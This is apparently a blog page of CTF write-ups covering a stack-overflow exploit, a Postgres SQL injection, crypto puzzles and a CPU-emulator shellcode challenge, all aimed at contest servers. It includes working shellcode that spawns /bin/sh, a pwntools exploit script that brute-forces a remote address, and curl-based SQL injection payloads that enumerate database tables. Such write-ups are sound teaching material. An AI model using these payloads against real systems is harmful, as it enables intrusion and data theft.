Showing posts with label code. Show all posts
Showing posts with label code. Show all posts

Sunday, November 19, 2017

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:


#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln


At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()


Changing the offset manually a few times didn't end up being very useful. Time to automate this!


  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this:


Sunday, March 26, 2017

VolgaCTF 2017 Quals - Bloody Feedback (100)



Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.

Starting out we're presented with a feedback form to submit some data (name, email, message).

There was also an input field at the top right looking like a search box.  Immediately tried putting a tick mark there to see if an error would be reflected:



This will send us to http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27.
Immediately inferring this is a perl application looking at the file extension noted in the error: Worker.pm

After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9].  Looks like we couldn't get too far with this.

Valid URL ex.: http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


The next area to check was the initial feedback form.  Email had to be turned on, which seemed to be a good field to play with.

This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.

Any feedback submitted is displayed in the "Top Messages" section, except the email field.  This helped when testing for XSS / CSRF, SQLi, etc.  But "Top Messages" did not seem to be reflecting any errors or execution.

Next we try an invalid email, maybe a quote mark to check for SQLi:


Sooooo, looks like SQLi, right?

If we look up DBD::Pg::db, we find the reference http://search.cpan.org/dist/DBD-Pg/Pg.pm
Also from looking at it, one could infer this is a Postgres db.

Let's try a few different types of injections until we get back to a non-error state!

First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools.  In the network tab, go to the submission request, right click > Copy > Copy as cURL.

After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session).  In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request.  Now we can go ahead and delete most of the headers which won't be used in this challenge.  This ends up turning into a one-liner, but for other challenges this may be different.

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=x&message=x&email='" 

This will dump the page contents and we can grep for any errors that get reflected back:

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6

This will dump:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at Worker.pm line 29.

It looks like version() returns a string that's too long, so we can cut it using substr().

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
...
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>
...


Now let's do something a little more interesting....

To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.

url 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "



So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "




Now when we combine those two together:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "



Tuesday, February 7, 2017

AlexCTF 2017 - Crypto


CR1: Ultracoded (50)


Starting out with a very simple one, here's the description:

Fady didn't understand well the difference between encryption and encoding, so instead of encrypting some secret message to pass to his friend, he encoded it!
Hint: Fady's encoding doens't handly any special character

Initially we're given a file (named zero_one) with a bunch of spelled-out bits:

...ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ZERO ONE ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ZERO ZERO ONE ZERO ONE ZERO ZERO ZERO ZERO ONE ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ZERO ZERO ONE ONE ONE ZERO ONE ZERO ONE ZERO ONE ZERO ZERO ONE ONE ZERO ZERO ZERO ONE ONE ZERO ONE ZERO ZERO ONE ZERO ZERO...

First thing to do in this situation is to use a bit of sed to convert them all to their original form:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;'

0100110001101001001100000110011101001100011010010011000001110101010011000110100101000001011101010100100101000011001100000111010101001100011010010011000001100111010011000101001100110100011101000100110001101001010000010111010001001001010000110011010001110101010011000101001100110100011001110100110001010011010000010111010101001100011010010011010001110101010010010100001100110100011101000100110001010011001100000111010001001001010000110011010001110101010011000110100100110100011101010100100101000011001100000111010001001100010100110100000101110101010011000101001100110000011101000100110001010011010000010111010101001100011010010011010001100111010011000101001100110000011101000100100101000011001101000111010101001100011010010011010001110101010010010100001100110100011101010100110001010011010000010111010101001100010100110011000001110101010010010100001100110100011101010100110001101001001100000111010001001001010000110011010001110100010011000110100101000001011101000100110001010011001100000110011101001100011010010011010001110101010011000110100100110100011001110100110001101001010000010111010001001100011010010011000001110101010010010100001100110100011101000100110001101001010000010111010101001100011010010011010001110100010011000101001101000001011101000100100101000011001100000111010001001100010100110100000101110100010010010100001100110000011101010100110001101001001100000110011101001100010100010011110100111101

Next we can find what this turns into with some perl:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_'

Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

Now we have some Base64 we can decode:

$ cat zero_one | sed 's/ //g;s/ZERO/0/g;s/ONE/1/g;' | perl -lpe '$_=pack"B*",$_' | base64 -D

.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Aaaand now we have some Morse code, which ended up being decoded using - http://morsecode.scphillips.com/translator.html
If anyone knows a good command-line tool for this, please leave a comment below! Would love to add that to the one-liner!

Using the online tool, we get this result:

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT

It wasn't over yet, this wasn't the flag based on their flag format, but it wasn't too difficult to spot the encoding, all O characters were really underscores:

ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}





CR2: Many time secrets (100)


Description:

This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!

Not sure who this Fady person is, sounds familiar... Sounds like we need to crack a poorly encrypted message with OTP issues.
Downloading the file they provide, called msg, we see it's a few lines of hex:

0529242a631234122d2b36697f13272c207f2021283a6b0c7908
2f28202a302029142c653f3c7f2a2636273e3f2d653e25217908
322921780c3a235b3c2c3f207f372e21733a3a2b37263b313012
2f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d
283f652c2b31661426292b653a292c372a2f20212a316b283c09
29232178373c270f682c216532263b2d3632353c2c3c2a293504
613c37373531285b3c2a72273a67212a277f373a243c20203d5d
243a202a633d205b3c2d3765342236653a2c7423202f3f652a18
2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c
263e203d63232f0f20653f207f332065262c3168313722367918
2f2f372133202f142665212637222220733e383f2426386b

Looking up common techniques for cracking OTP we can find the Many Time Pad Attack / the Crib Dragging technique - http://crypto.stackexchange.com/questions/59/taking-advantage-of-one-time-pad-key-reuse

There's a very nice python library for crib dragging here - https://github.com/SpiderLabs/cribdrag

This allows us to easily read in msg file and start the process of discovery. First we need the messages on one line:

$ cat msg | tr -d '\n'; echo

0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Then we pass this in as the first argument to the cribdrag.py tool, initially we have a blank canvas:

./cribdrag/cribdrag.py 0529242a631234122d2b36697f13272c207f2021283a6b0c79082f28202a302029142c653f3c7f2a2636273e3f2d653e25217908322921780c3a235b3c2c3f207f372e21733a3a2b37263b3130122f6c363b2b312b1e64651b6537222e37377f2020242b6b2c2d5d283f652c2b31661426292b653a292c372a2f20212a316b283c0929232178373c270f682c216532263b2d3632353c2c3c2a293504613c37373531285b3c2a72273a67212a277f373a243c20203d5d243a202a633d205b3c2d3765342236653a2c7423202f3f652a182239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c263e203d63232f0f20653f207f332065262c31683137223679182f2f372133202f142665212637222220733e383f2426386b

Your message is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       ________________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

Now we know that the flag will be in the format ALEXCTF{...}, so we can start with that:

Please enter your crib: ALEXCTF{
*** 0: "Dear Fri"
1: "hho;Q`TV"
2: "ef&JwFkP"
3: "k/WlQymM"
4: ""^qJnp"
5: "SxWuhb/"
6: "u^hsu=9h"
7: "Sann*+U\"
...

Many examples were dropped (276), and a few of them were intelligible. The first one looked like a good candidate, starting with 0, we identify it as a 'message'.

Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       ALEXCTF{________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Your key is currently:
0       Dear Fri________________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     ________________________________________
240     ________________________________________
280     ____
Please enter your crib:

"Dear Friend," makes the most sense in the clue we have, so going with that we can find more information:

Please enter your crib: Dear Friend,
0: "ALEXCTF{HERE"

This time 0 is the key, next we can guess underscore is after 'HERE' in the flag from the normal flag format. Continuing this process onwards will fill in the full flag:

Please enter your crib: ALEXCTF{HERE_
*** 260: "ncryption sch"
Enter the correct position, 'none' for no match, or 'end' to quit: 260
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: encryption scheme
259: "}ALEXCTF{HERE_GOE"
Enter the correct position, 'none' for no match, or 'end' to quit: 259
Is this crib part of the message or key? Please enter 'message' or 'key': key
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 207: "ecure, Let Me know "
Enter the correct position, 'none' for no match, or 'end' to quit: 207
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: }ALEXCTF{HERE_GOES_
*** 233: "agree with me to us"
Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': message
Please enter your crib: agree with me to use this encryption scheme
233: "}ALEXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE"


Enter the correct position, 'none' for no match, or 'end' to quit: 233
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0       ALEXCTF{HERE____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______}ALEXCTF{HERE_GOES________}ALEXCT
240     F{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE____
280     ____
Your key is currently:
0       Dear Friend,____________________________
40      ________________________________________
80      ________________________________________
120     ________________________________________
160     ________________________________________
200     _______ecure, Let Me know _______agree w
240     ith me to use this encryption scheme____
280     ____
Please enter your crib:

...

Enter the correct position, 'none' for no match, or 'end' to quit: none
No changes made.
Your message is currently:
0       ALEXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_G
40      OES_THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}AL
80      EXCTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOE
120     S_THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}ALEX
160     CTF{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOES_
200     THE_KEY}ALEXCTF{HERE_GOES_THE_KEY}ALEXCT
240     F{HERE_GOES_THE_KEY}ALEXCTF{HERE_GOES_TH
280     E_KEY
Your key is currently:
0       Dear Friend, This time I understood my m
40      istake and used One time pad encryption
80      scheme, I heard that it is the only encr
120     yption method that is mathematically pro
160     ven to be not cracked ever if the key is
200      kept secure, Let Me know if you agree w
240     ith me to use this encryption scheme alw
280     ays 

Flag:

ALEXCTF{HERE_GOES_THE_KEY}




CR4: Poor RSA (200)


Description:

This time Fady decided to go for modern cryptography implementations, He is fascinated with choosing his own prime numbers, so he picked up RSA once more. Yet he was unlucky again!

poor_rsa.tar.gz

This was a challenge where a little crypto education would've helped. Started this one off by looking up previous write-ups for RSA based challenges on a CTF. This one turned out to be great! - https://0x90r00t.com/2015/09/20/ekoparty-pre-ctf-2015-cry100-rsa-2070-write-up/

Extracting the tar.gz gave us two files, a encrypted flag and a public key:

-rw-r--r--@  1 user  staff    69B Dec 11 01:08 flag.b64
-rw-r--r--@  1 user  staff   162B Dec 11 00:59 key.pub

Walking through that writeup made this process very simple, starting off by identifying how many bits are used on the public key:

Modulus (399 bit):
    52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61:
    77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f:
    89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28:
    ba:5c:32:42:43
Exponent: 65537 (0x10001)

Looks like we also got an odd amount of bits (no pun intended).
Now we need to format the hex values to get the integer product:

openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n '

Then to get the int value, pass it into python:

$ openssl rsa -noout -text -inform PEM -in key.pub -pubin | grep -Evi 'mod|exp' | tr -d ':\n ' | xargs python -c 'import sys; print int(sys.argv[1], 16)'

833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019

Now we can query factordb for this value: http://www.factordb.com/index.php?query=833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019

We end up seeing there is a match!


This turns out to be:
863653476616376575308866344984576466644942572246900013156919 * 965445304326998194798282228842484732438457170595999523426901

Now that we have p & q, we can generate the private key using RSATool - https://github.com/ius/rsatool

$ python ./rsatool/rsatool.py -p 863653476616376575308866344984576466644942572246900013156919 -q 965445304326998194798282228842484732438457170595999523426901 -o ./priv.key

Finally we just need to decrypt the flag using openssl:

$ openssl rsautl -decrypt -in flag.raw -inkey priv.key

This drops the Flag:

ALEXCTF{SMALL_PRIMES_ARE_BAD}

Wednesday, March 16, 2016

Codegate CTF 2016 - cemu (512)


Codegate was a very fun CTF this year, ended up focusing on two challenges, JS_is_not_a_jail (which I will write about more later) and cemu, which were both in the miscellaneous category.

(Some of the output may be different as the servers aren't still up)

Starting out we're given a short description and a server to connect to, no binaries this time.

Welcome to MATRIX
nc 175.119.158.136 31337

After connecting to the server we receive this output.

Welcome to CEmu World
Your goal is set the register below
EAX = 0x91b88cf
EBX = 0x2899361f
ECX = 0xb623a9
EDX = 0x4b32ad6e
ESP = 0xb82dbcc5
EBP = 0x9c09ff74
ESI = 0xfcdd6946
EDI = 0xbc698a76
input Opcode

So first off, we know we're on a 32 bit system and we have to set some registers to the values listed in the initial output.

The first instruction I tried was a nop '90' which showed the instruction pointer incrementing (from 0x1000 to 0x1001) and all other registers set to zero.  This was a very simple start, but it told us about the type of input (hex bytes with no '0x' prefix), and the starting location of this emulator.

Next up was to write some python code to connect with the server, pull the requested register sets and send back some Opcodes which would set each one.


Stage 1


Starting out I used pwntools for this which wraps a lot of useful python functionality and provides many useful utilities.  More can be found here - https://github.com/Gallopsled/pwntools

Here's what the initial effort for Stage 1 looked like:

#!/usr/bin/env python
import commands
from pwn import *

HOST = "175.119.158.136"
#HOST = "175.119.158.132"
PORT = 31337

c = remote(HOST, PORT)

def main():
  # Stage 1:
  # ========
  PAYLOAD = ""
  REGISTERS = { }

  print c.recvuntil("EAX = ")
  REGISTERS["EAX"] = c.recvline().strip()
  print c.recvuntil("EBX = ")
  REGISTERS["EBX"] = c.recvline().strip()
  print c.recvuntil("ECX = ")
  REGISTERS["ECX"] = c.recvline().strip()
  print c.recvuntil("EDX = ")
  REGISTERS["EDX"] = c.recvline().strip()
  print c.recvuntil("ESP = ")
  REGISTERS["ESP"] = c.recvline().strip()
  print c.recvuntil("EBP = ")
  REGISTERS["EBP"] = c.recvline().strip()
  print c.recvuntil("ESI = ")
  REGISTERS["ESI"] = c.recvline().strip()
  print c.recvuntil("EDI = ")
  REGISTERS["EDI"] = c.recvline().strip()

  print REGISTERS
  for k, v ∈ REGISTERS.iteritems():
      CMD = "rasm2 -a x86 'mov {}, {}'".format(k, v)
      PAYLOAD += commands.getoutput(CMD)

  # Input:
  print c.recvuntil("Opcode")

  # Send Input:
  c.sendline(PAYLOAD)

  # Result:
  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

This code could probably be cleaned up a lot, but the gist of it is that we're taking each register value, storing it in a dictionary of { 'register' : 'target_value' } and feeding it to the rasm command to generate some Opcodes with the correct mov instructions for each register.

There may be a better way to subproc the 'rasm2' command, doing it pythonically, but haven't found that yet.  Maybe for the next challenge!

After running this code, we get the following output:


Stage1 Clear!

Welcome to CEmu World - stage2
Your goal is set the register below


Expression: eax + ebp + esp - edx * edi - ebx + esi - ecx = 3113570244
input Opcode


Stage 2


So on this one it looks like we just have to parse the expression and set the registers to the correct values to provide the result.  Also, running this multiple times we find the Expression changes each time.

To solve this I took the easy route by setting eax to the final value, and the other registers to values that would not affect eax.

For this stage I start by splitting up the expression by space and stripping any newline characters off the end.  Then set eax to the desired result, and added the remaining registers set to values that would work.


Below is the final code for this stage:

def getIdent(t):
  if t ≡ '+' ∨ t ≡ '-':
    return '0'
  else:
    return '1'

def getPayloadExpr(instr, val):
  cmd = "rasm2 -a x86 'mov {}, {}'".format(instr, getIdent(val))
  return commands.getoutput(cmd)

def stage2():
  print c.recvuntil("below")
  print c.recvline()

  EXPR = c.recvline().strip().split()
  print "Expression: {}".format(repr(EXPR))

  PAYLOAD = ""
  EAX = "rasm2 -a x86 'mov {}, {}'".format("EAX", EXPR[-1])
  PAYLOAD += commands.getoutput(EAX)

  # Samples:
  # eax - ebp - esp - edx + edi + ebx * esi - ecx  = 1992741006
  # eax * ebp * esp + edx * edi * ebx * esi - ecx  = 4235741836
  # eax + ebp * esp + edx * edi - ebx * esi * ecx  = 3774945113
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046

  # Transform:
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046
  # 3226531046 + 0 * 1 + 0 - 0 * 1 * 1 + 0 = 3226531046

  PAYLOAD += getPayloadExpr(EXPR[2], EXPR[2 - 1])
  PAYLOAD += getPayloadExpr(EXPR[4], EXPR[4 - 1])
  PAYLOAD += getPayloadExpr(EXPR[8], EXPR[8 - 1])
  PAYLOAD += getPayloadExpr(EXPR[10], EXPR[10 - 1])
  PAYLOAD += getPayloadExpr(EXPR[12], EXPR[12 - 1])
  PAYLOAD += getPayloadExpr(EXPR[14], EXPR[14 - 1])

  c.sendline(PAYLOAD)

  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

Sending this to the server we get:

Stage2 Clear!

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode


Nice! Now we get a message which doesn't mean much, we just have to find some value in memory I guess...


Stage 3


Starting out I guessed a few values exploring memory, but also thought it couldn't be that easy.

So what I was thinking was, it's probably a string (such as a flag), and there must be an easy way to loop through each byte in memory until it's a non-zero value.

An important part I figured out while exploring manually was that eax had to be set to the memory address that was the start of the string in memory.

I asked a team-mate Matir about any asm instructions that could do this while posting some rough pseudocode of how I was about to approach it, and he mentioned repe.

After digging into the intel x86 manual a bit I found REPE/REPZ: "Repeat while equal/Repeat while zero".

After looking at this and Matir providing a bit of sample asm to demonstrate how it could be done, I jumped into the asm and tried a few things out.

The initial payloads did not work, but they were slowly improved over time.
These were the final instructions which helped find the string in memory:

mov edi, 0x1010
mov ecx, 0xffffffff
repe scasb al, byte es:[edi]
mov eax, edi

For whatever reason repe scasb did not disassemble properly in rasm2, but thankfully an x86 manual online provided the opcodes for this instruction (f3ae).

Used a hacky one-liner to generate the final payload using rasm2 and the known REPE Opcodes:

rasm2 "mov edi, 0x1010; mov ecx, 0xffffffff" | xargs echo -n && echo -n f3ae && rasm2 "mov eax, edi"

bf10100000b9fffffffff3ae89f8


Sending this to the server we get:

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode
Sending ReadMem: bf10100000b9fffffffff3ae89f8

CEmu Emulation Complete!
EAX = 0x6be0f
EBX = 0x0
ECX = 0xfff95200
EDX = 0x0
ESP = 0x0
EBP = 0x0
ESI = 0x0
EDI = 0x6be0f
EIP =
 0x100e

memory read(0x6be0f) : ecret value is {3gg_Hunt3r!}\x00\x00\x00\x00

Stage3 Clear!


At this point I thought I got it.  With something in curly braces with some jumbled characters it looks like a flag, until I looked a little further and saw:

Welcome to CEmu World - stage4
Your goal is control eip yeah!

Okay great, now we have to control eip...  Sounds like fun!



Stage 4


This next stage took me the longest, mostly because I didn't know what the end goal was at first.

The notes of this little adventure would probably take up another 2-3 blog posts, but I had tried hlt, ret, iret, several syscalls etc, until I got that they wanted the program to stay on that value.

After going through 40 or so instructions before landing on the right one, it turned out to be a single instruction loop which solved it!

It looked something like this:

mov eax, target_address
mov dword ptr[eax], {jmp eax}
jmp eax


And the final stage 4 code in python:

def stage4():
  print c.recvuntil("yeah!")
  print c.recvline()
  eip_target = c.recvline()
  print eip_target
  eip_target = eip_target.split(" ")[-1].strip()
  print eip_target
  print "Current EIP Target: {}".format(eip_target)
  print c.recvuntil("code")

  # [ A: store target in eaxx ] [ B: set target to jump to self (eax) ] [ C: jmp to target ]
  cmd = "mov eax, {}; mov dword ptr[eax], 0xe0ff; jmp eax".format(eip_target)
  result = commands.getoutput("rasm2 '{}'".format(cmd))
  print result

  c.sendline(result)
  print c.recvuntil("EIP = ")


Sending this along gives us:

CEmu Emulation Complete!
EAX = 0xbc040
EBX = 0x0
ECX = 0x0
EDX = 0x0
ESP = 0x2000
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP =
0xbc040
Stage4 Clear!
Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode


Finally at the final stage!!! We're nearly at the finish line, and this one doesn't sound too bad at all.
Anyone who has written shellcode knows this is one of the first things you write when working on exploits, a simple read the flag sort of payload.

I grabbed this from previous lessons I did on RPISEC's MBE course, found here - https://github.com/RPISEC/MBE

This consisted of an open, read & write. Each one needed some arguments setup, and the filename of the flag (which was easily guessed as 'flag' in the current directory).

This was the final stage's payload:

def stage5():
  # ./flag = push 0x67616c66
  openFile = """
    xor eax, eax;
    push eax;
    push 0x67616c66;
    xor eax, eax;
    mov al, 5;
    mov ebx, esp;
    xor ecx, ecx;
    int 0x80;"""

  readFile = """
    mov ebx, eax;
    xor eax, eax;
    mov al, 3;
    mov ecx, esp;
    xor edx, edx;
    mov dl, 64;
    int 0x80;"""

  writeOutput = """
    mov edx, eax;
    xor eax, eax;
    xor ebx, ebx;
    mov al, 4;
    mov bl, 1;
    mov ecx, esp;
    int 0x80;"""

  openFileExec = commands.getoutput("rasm2 '{}'".format(openFile))
  readFileExec = commands.getoutput("rasm2 '{}'".format(readFile))
  writeOutputExec = commands.getoutput("rasm2 '{}'".format(writeOutput))
  opcodes = openFileExec + readFileExec + writeOutputExec

  print c.recvuntil("code")
  c.sendline(opcodes)

  print c.recvuntil("Stage5 Clear!")

And the result of running this payload:

Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode

flag is {CPU_Emulati0n_1s_sO_fun~:D}
thanks unicorn project!
call sys_open at 0x1011
>>> open file (filename=flag flags=0 mode=0) with fd(5)
call sys_read at 0x1021
>>> read 64 bytes from fd(5)
call sys_write at 0x1031
CEmu Emulation Complete!
EAX = 0x4
EBX = 0x1
ECX = 0x1ff8
EDX = 0x3
ESP = 0x1ff8
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP = 0x1033
Stage5 Clear!


Aand we've got the Flag!

{CPU_Emulati0n_1s_sO_fun~:D}


This was one of my favorite challenges in the past year of CTF.
It had enough difficulty to keep you thinking, but enough momentum to keep going. It also really felt like a puzzle that kept unfolding.

Here's the final code that was used to solve this challenge (cleaned up a little) - https://gist.github.com/vitapluvia/8901c95523f23a492168

Can't wait for next year's Codegate!


Sunday, September 6, 2015

MMA 1st CTF 2015 - Uploader (100)


This was one I went back and forth to. The CTF had a few LFI vulnerabilities featured in their challenges. This was purely focused on one.
